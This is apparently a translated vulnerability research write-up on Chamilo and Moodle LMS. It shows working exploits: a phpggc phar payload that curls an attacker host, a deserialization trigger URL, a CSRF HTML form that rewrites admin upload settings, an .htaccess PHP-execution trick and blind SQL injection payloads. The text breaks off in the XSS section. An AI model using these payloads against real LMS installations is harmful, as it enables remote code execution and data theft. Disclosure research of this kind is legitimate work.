开源LMS代码库漏洞挖掘:从反序列化到RCE的完整利用链

本文深入分析了Chamilo和Moodle两大开源学习管理系统的安全漏洞,包括不安全的文件上传、反序列化漏洞、CSRF、SQL注入和XSS等,展示了如何将这些漏洞串联实现远程代码执行。

开源LMS代码库漏洞挖掘 | STAR Labs

目录

引言

为了练习源代码审计,我深入研究了开源LMS(学习管理系统)代码库的结构,以寻找未发现的漏洞。最初,我的主要关注点是Chamilo LMS(其源代码可在GitHub上找到),之后我又研究了Moodle LMS(其源代码同样可在GitHub上找到)。

大多数发现都是常见的Web应用漏洞,例如:

  • 访问控制缺陷
  • CSRF(跨站请求伪造)
  • 不安全的反序列化
  • SQL注入
  • XSS(反射型、存储型)

这些漏洞的最大影响是:

  • [Chamilo]:漏洞可被串联以实现远程代码执行(RCE)
  • [Moodle]:漏洞可导致站点/平台被接管

本文讨论的所有漏洞均已由相应供应商(Chamilo和Moodle)修补。让我们深入了解在这些大型代码库中发现漏洞的过程。🕵️‍♂️

方法

在深入代码之前,我为每个LMS设置了一个本地Docker实例用于调试。处理大型代码库意味着检查每个文件并不实际,因此我们需要仔细过滤掉不重要的代码,专注于潜在易受攻击的代码。为了实现这种平衡,最好先尝试识别代码库中的编码模式。

在每个LMS中,我们至少使用两种方法进行扫描:从源到汇(Source to Sink)和从汇到源(Sink to Source)。对于从源到汇的搜索,我们跟踪用户控制的输入(源),看它们是否被发送到敏感的PHP函数(如exec()system()等)。对于从汇到源的搜索,我们反向操作,从敏感的PHP函数开始寻找用户控制的输入。

Chamilo

由于代码库是用PHP编写的,并且没有很多自定义函数包装,我们可以使用以下正则表达式搜索每个HTTP请求参数值(分配给PHP变量)的使用方式:

1
\$.+=.+\$_(GET|POST|REQUEST)

Moodle

虽然代码库也是用PHP编写的,但稍微复杂一些,因为它们抽象了许多默认的PHP功能并编写了自己的包装器。例如,在读取HTTP请求参数时,它们会调用自定义函数optional_param()required_param()。这些包装函数随后调用典型的$_GET[]$_POST[]来获取参数值。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
function required_param($parname, $type) {
    if (func_num_args() != 2 or empty($parname) or empty($type)) {
        throw new coding_exception('required_param() requires $parname and $type to be specified (parameter: '.$parname.')');
    }
    // POST has precedence.
    if (isset($_POST[$parname])) {
        $param = $_POST[$parname];
    } else if (isset($_GET[$parname])) {
        $param = $_GET[$parname];
    } else {
        print_error('missingparam', '', '', $parname);
    }

    if (is_array($param)) {
        debugging('Invalid array parameter detected in required_param(): '.$parname);
        // TODO: switch to fatal error in Moodle 2.3.
        return required_param_array($parname, $type);
    }

    return clean_param($param, $type);
}

读取参数值后,它被传递给另一个自定义函数clean_param(),根据不同的$type对输入进行清理:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
function clean_param($param, $type) {
    // ...
    switch ($type) {
        case PARAM_RAW:
            // No cleaning at all.
            $param = fix_utf8($param);
            return $param;
        // ... (other cases)
    }
}

尽管定义了许多清理方法,但第一个案例PARAM_RAW引起了我们的注意,因为它不对指定的HTTP请求参数执行任何清理。因此,我们可以使用以下正则表达式搜索代码库中用户输入直接赋值给变量的区域:

1
\$.+=.+_param\(.+PARAM_RAW\)

发现的漏洞

通过搜索这些过滤后的文件,我在Chamilo和Moodle上发现了相当多的漏洞。让我们看看其中一些有趣的发现。

Chamilo - 不安全的反序列化和不安全的文件上传导致远程代码执行

这是一个有趣的发现,将两个不同的漏洞组合成一个链,最终实现远程代码执行。

不安全的文件上传

在Chamilo中,学生和教师能够上传文件到他们管理的任何课程以促进学习。然而,应用程序黑名单了某些文件扩展名。例如,它不允许上传.php(或其变体如.php3.php4.phar等)。这样做会导致应用程序将文件扩展名重命名为.phps

漏洞发生在应用程序未能确保上传的图像文件实际上是图像,因为它只检查文件扩展名。这意味着用户只要扩展名不在黑名单中,就可以上传任意文件。

我发现只有教师能够上传到课程的Documents部分。这很重要,因为上传到Documents的文件具有可确定的本地文件路径:

1
/path/to/chamilo/app/courses/<COURSE_CODE>/document/<FILENAME>

学生只能上传到课程的Dropbox部分,这会随机化服务器上存储的实际文件名。😢

然后,我使用PHPGGC生成了一个包含RCE payload的phar存档。在选择PHP gadget时,我检查了Chamilo的PHP依赖关系,发现有几个gadget可以使用。在这个例子中,我将使用Monolog/RCE1。以下命令生成一个phar文件(rce.jpg),在反序列化时将执行命令curl到我的攻击机器。

1
$ phpggc -p phar Monolog/RCE1 system "curl http://172.22.0.1:16666/curl" -o rce.jpg

验证这个phar文件可以上传:

现在可以在/path/to/chamilo/app/courses/<COURSE_CODE>/document/目录中找到它:

有了phar payload,我们需要找到一种通过反序列化触发它的方法。

不安全的反序列化

我发现了一个端点/main/document/save_pixlr.php,其中有以下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
if (!isset($_GET['title']) || !isset($_GET['type']) || !isset($_GET['image'])) {
    echo 'No title';
    exit;
}

$paintDir = Session::read('paint_dir');
if (empty($paintDir)) {
    echo 'No directory to save';
    exit;
}
// ...
$urlcontents = Security::remove_XSS($_GET['image']);
// ...
$contents = file_get_contents($urlcontents);

漏洞发生在用户控制的输入$urlcontents直接传递给file_get_contents()函数时。这意味着用户能够指定任意协议,如phar://,这将反序列化本地文件。我们现在可以安全地忽略remove_XSS()函数,因为它只从输入中剥离<>字符。

能够控制file_get_contents()的内容也可以被视为SSRF漏洞,因为应用程序不限制允许的URL。

从上面的代码中,我们看到必须设置一些GET参数,否则执行结束。我们还看到一个会话变量paint_dir必须存在。这可以通过访问http://CHAMILO_WEBSITE/main/document/create_paint.php来满足,该文件有以下代码为我们设置会话变量:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$dir = $document_data['path'];
$is_allowed_to_edit = api_is_allowed_to_edit(null, true);

// path for pixlr save
$paintDir = Security::remove_XSS($dir);
if (empty($paintDir)) {
    $paintDir = '/';
}

Session::write('paint_dir', $paintDir);

串联漏洞

我们之前已经将phar上传到服务器,并知道其本地路径。现在,在/main/document/save_pixlr.php反序列化端点,我们通过image GET参数发送URL字符串phar:///var/www/chamilo/app/courses/C001/document/rce.jpg

1
http://CHAMILO_WEBSITE/main/document/save_pixlr.php?title=a&type=b&image=phar:///var/www/chamilo/app/courses/C001/document/rce.jpg

这将导致phar存档的反序列化,并触发命令执行payload。

在我们的攻击主机上:

浏览器输出:

这确认了远程代码执行。以下是使用反向shell payload的完整链演示:

参考

Chamilo - 跨站请求伪造(CSRF)导致远程代码执行

安全管理页面上缺乏反CSRF措施,允许攻击者制作CSRF payload,使得经过身份验证的管理员触发时更改站点安全设置。一个有趣的可更改功能是站点范围的黑名单和白名单,这将允许上传危险文件。

我们之前发现应用程序会对自己上传的文件名进行清理,如函数/main/inc/lib/fileUpload.lib.php:htaccess2txt()所示。这意味着每当上传的文件名是.htaccess时,最终的文件名将是htaccess.txt

1
2
3
4
function htaccess2txt($filename)
{
    return str_replace(['.htaccess', '.HTACCESS'], ['htaccess.txt', 'htaccess.txt'], $filename);
}

以下PoC将扩展名txt添加到黑名单,并用/../.htaccess替换黑名单扩展名:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<html>
  <body>
    <form action="http://172.22.0.3/main/admin/settings.php?category=Security" method="POST">
      <input type="hidden" name="upload_extensions_list_type" value="blacklist" />
      <input type="hidden" name="upload_extensions_blacklist" value="txt" />
      <input type="hidden" name="upload_extensions_whitelist" value="htm;html;jpg;jpeg;gif;png;swf;avi;mpg;mpeg;mov;flv;doc;docx;xls;xlsx;ppt;pptx;odt;odp;ods;pdf;" />
      <input type="hidden" name="upload_extensions_skip" value="false" />
      <input type="hidden" name="upload_extensions_replace_by" value="/../.htaccess" />
      <input type="hidden" name="permissions_for_new_directories" value="0777" />
      <input type="hidden" name="permissions_for_new_files" value="0666" />
      <input type="hidden" name="openid_authentication" value="false" />
      <input type="hidden" name="extend_rights_for_coach" value="false" />
      <input type="hidden" name="extend_rights_for_coach_on_survey" value="true" />
      <input type="hidden" name="allow_user_course_subscription_by_course_admin" value="true" />
      <input type="hidden" name="sso_authentication" value="false" />
      <input type="hidden" name="sso_authentication_domain" value="" />
      <input type="hidden" name="sso_authentication_auth_uri" value="/?q=user" />
      <input type="hidden" name="sso_authentication_unauth_uri" value="/?q=logout" />
      <input type="hidden" name="sso_authentication_protocol" value="http://" />
      <input type="hidden" name="filter_terms" value="" />
      <input type="hidden" name="allow_strength_pass_checker" value="true" />
      <input type="hidden" name="allow_captcha" value="false" />
      <input type="hidden" name="captcha_number_mistakes_to_block_account" value="5" />
      <input type="hidden" name="captcha_time_to_block" value="5" />
      <input type="hidden" name="sso_force_redirect" value="false" />
      <input type="hidden" name="prevent_multiple_simultaneous_login" value="false" />
      <input type="hidden" name="user_reset_password" value="false" />
      <input type="hidden" name="user_reset_password_token_limit" value="3600" />
      <input type="hidden" name="_qf__settings" value="" />
      <input type="hidden" name="search_field" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
      document.forms[0].submit()
  </script>
</html>

由于.txt现在是黑名单扩展名,它将被替换为/../.htaccess。最终的文件名因此是htaccess/../.htaccess,并且由于只使用文件名,它给了我们.htaccess

教师用户然后可以上传一个.htaccess,使得它将在当前目录中以自定义扩展名(.1337)执行PHP代码:

1
AddType application/x-httpd-php .1337

然后,上传一个带有.1337扩展名的PHP文件:

将允许任意代码执行。

或者,我们可以将phps添加到黑名单,并用php替换黑名单扩展名。这是因为还有一个清理函数存在于/main/inc/lib/fileUpload.lib.php:php2phps()

1
2
3
4
function php2phps($file_name)
{
    return preg_replace('/\.(phar.?|php.?|phtml.?)(\.){0,1}.*$/i', '.phps', $file_name);
}

每当上传的文件包含扩展名.php时,最终的文件名将是.phps。由于.phps现在是黑名单扩展名,它将被替换。最终的文件名因此回到.php

然后,上传一个文件名为php-backdoor.php的PHP webshell将会成功:

然而,由于根目录中存在的.htaccess,我们将无法直接执行上传的PHP文件:

检查Web根目录中的.htaccess文件,似乎可以通过在要执行的PHP文件末尾附加一个/来绕过正则表达式:

1
2
3
4
5
# Prevent execution of PHP from directories used for different types of uploads
RedirectMatch 403 ^/app/(?!courses/proxy)(cache|courses|home|logs|upload|Resources/public/css)/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/main/default_course_document/images/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/main/lang/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/web/.*\.ph(p[3457]?|t|tml|ar)$

再次给我们远程代码执行能力。

从这个发现中得到的一个关键点是,拥有多个清理代码可能会导致意外效果。我们看到文件上传清理被站点的安全清理所否定,因为它们相互抵消。❌

Chamilo - 经过身份验证的盲SQL注入

代码中总共发现了4个经过身份验证的盲SQL注入。所有这些都是通过以从源到汇的方式grep代码发现的。

一个例子是来自/main/blog/blog.php的以下代码,其中经过身份验证的学生能够触发此漏洞:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$blog_id = isset($_GET['blog_id']) ? $_GET['blog_id'] : 0;

// ...

$sql = "SELECT COUNT(*) as number
        FROM ".$tbl_blogs_tasks_rel_user."
        WHERE
            c_id = $course_id AND
            blog_id = ".$blog_id." AND
            user_id = ".api_get_user_id()." AND
            task_id = ".$task_id;

$result = Database::query($sql);
$row = Database::fetch_array($result);

由于原始查询只选择单个整数类型的列,我们可以执行基于布尔的盲SQL注入攻击以从数据库泄露信息。因此,让我们列出我们的TRUE和FALSE查询:

TRUE-case:

1
0 UNION SELECT CASE WHEN 1=1 THEN 1 ELSE (SELECT table_name FROM information_schema.tables) END;-- -

FALSE-case:

1
0 UNION SELECT CASE WHEN 1=2 THEN 1 ELSE (SELECT table_name FROM information_schema.tables) END;-- -

由于TRUE和FALSE查询显示不同的响应,我们可以使用自动化脚本逐字符泄露任意子查询的输出。当泄露SQL查询SELECT USER()的输出时,payload可能如下所示:

1
0 UNION SELECT CASE WHEN (SELECT SUBSTR((SELECT USER()),1,1))='c' THEN 1 ELSE (SELECT table_name FROM information_schema.tables) END;-- -

这是一个TRUE输出,意味着SQL查询SELECT USER()的第一个字符是“c”。

/main/forum/download.php(学生)、/main/inc/ajax/exercise.ajax.php(教师)和/main/session/session_category_list.php(会话管理员)发现了其他3个类似的经过身份验证的盲SQL注入实例。

Chamilo - 反射型XSS

记得我之前提到应用程序的remove_XSS()只移除<>标签吗?在研究这个函数如何清理输入时,我发现这个函数给开发人员一种错误的安全感,因为即使输入通过该函数传递,仍然可能实现XSS。

在文件/index.php中,我们看到HTTP参数firstpage的值直接传递给remove_XSS()作为其唯一变量。返回值然后直接插入到HTML页面的<script>标签中。我们将使用输入';alert(1);//来跟踪下面的代码。

源:/index.php

检查security.lib.php::remove_XSS()的函数定义显示它接受2个额外的可选参数,$user_status$filter_terms。值得注意的是,

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计